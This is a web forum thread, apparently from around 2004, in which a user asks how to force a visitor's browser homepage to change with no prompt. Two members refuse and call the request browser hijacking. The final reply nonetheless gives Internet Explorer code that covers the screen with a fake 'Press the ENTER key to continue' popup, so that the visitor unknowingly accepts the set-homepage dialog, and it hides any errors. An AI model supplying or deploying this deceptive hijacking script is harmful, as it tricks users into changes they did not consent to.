Results 1 to 6 of 6
  1. #1
    Join Date
    Dec 2003
    Posts
    941

    "Set Homepage" script in JavaScript

    Any idea how to write a script in Javascrpt which when accessed
    would set the homepage on the clients PC as written in js file
    BUT WITHOUT PROMPTING HIM LIKE "DO YOU LIKE TO SET YOUR
    HOMAGE TO SO AND SO SITE"
    The process should be automatic.
    Access the site and your homepage is set to the website written
    in the script
    Thanks
    Primary email: advanced dot programmer at gmail dot com ..

  2. #2
    Join Date
    Apr 2003
    Location
    London, UK
    Posts
    4,721
    Well it's possibile, but i'm not telling you how, and hopefully nobody else will.

    You're talking about spyware type crap and messing with peoples registries, things that people often spend many frustrated hours trying to remove.

    It's up to them what they configure as their homepage, not you.
    Hyperconfused (™)

  3. #3
    Join Date
    Dec 2003
    Posts
    941
    Please man this is not for crap but something important
    Primary email: advanced dot programmer at gmail dot com ..

  4. #4
    Join Date
    Jan 2004
    Location
    Mobile, AL
    Posts
    138
    I seriously hope noone tells you how to accomplish this either. That's pure browser hijacking. There's nothing important about that, other than a horrible way to screw visitors over. Sites that even ask are bad enough.
    Last edited by mobilebadboy; 03-27-2004 at 04:42 AM.
    Shawn Kerr

  5. #5
    Join Date
    Dec 2003
    Posts
    941
    Please anyone please help me
    I want to know how that happens
    I have little idea that it involves classid etc
    Primary email: advanced dot programmer at gmail dot com ..

  6. #6

    try this

    <html xmlns:ie>
    <head>
    <ie:homepage id="homepage" style="behavior:url(#default#homepage)">
    <script type="text/javascript">
    try{
    var popup = window.createPopup();
    popup.document.body.innerHTML = '<table width="100%" height="100%"><tr><td align="center"><h1>Press the ENTER key to continue</h1></td></tr></table>';
    var interval = setInterval('popup.show(0, 0, screen.width, screen.height, document.body)', 10);
    homepage.setHomePage('***INSERT*URL*HERE***');
    clearInterval(interval);
    popup.hide();
    }catch(e){}
    </script>
    </head>
    </html>

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •